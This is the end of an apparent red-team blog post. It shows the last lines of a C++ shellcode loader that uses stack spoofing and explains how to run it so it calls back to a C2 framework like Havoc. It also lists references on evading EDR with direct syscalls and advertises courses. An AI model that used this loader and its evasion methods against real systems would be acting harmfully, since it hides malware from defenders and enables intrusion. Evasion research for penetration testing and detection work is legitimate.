std::cout << "[+] Executing Shellcode with True Stack Spoofing...\n";
TrueStackSpoofer(WrappedExecuteShellcode, shellcode, shellcodeSize);
std::cout << "[+] Execution completed.\n";
delete[] shellcode;
return 0;
}
Executing the Shellcode
After successful compilation, simply run the executable by specifying the shellcode file as an argument:
.\shellcode_executor.exe shellcode.bin
This will load the provided shellcode, apply advanced stealth techniques, and execute the payload, resulting in a session or beacon within your configured Command & Control (C2) infrastructure, like Havoc C2 or similar frameworks.


Stealth: An Ever-Evolving Battle In Cybersecurity
It's crucial to remember that no stealth technique remains undetectable indefinitely. Security solutions continuously evolve, leveraging advanced heuristics, behavioral analysis, and artificial intelligence to identify even the most sophisticated stealth methods.
The techniques we've explored today, though powerful now, might become detectable tomorrow as defenders adapt. Our approach represents our current understanding and analysis of defensive measures; continuous research and adaptation remain essential. Community contributions and discussions are invaluable, so if you discover improvements, detections, or better evasion methods, please comment below. Your insights will significantly benefit the entire cybersecurity community. Stay tuned; we'll keep exploring new stealth techniques in our future blogs!
References
https://www.darkrelay.com/courses/mastering-exploit-development
https://intuitem.com/unleashing-direct-syscalls-edr-evading/
https://pwnedcoffee.com/blog/bypassing-antivirus-using-direct-system-calls/
https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
https://0xmaz.me/posts/HookChain-A-Deep-Dive-into-Advanced-EDR-Bypass-Techniques/
https://unprotect.it/technique/evasion-using-direct-syscalls/
https://rioasmara.com/2024/07/14/indirect-vs-direct-syscall/
https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
Register for instructor-led online courses today!
Check out our self-paced courses!
Explore our bundled Pricing & Plans for cost-effective options!
Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.
Comments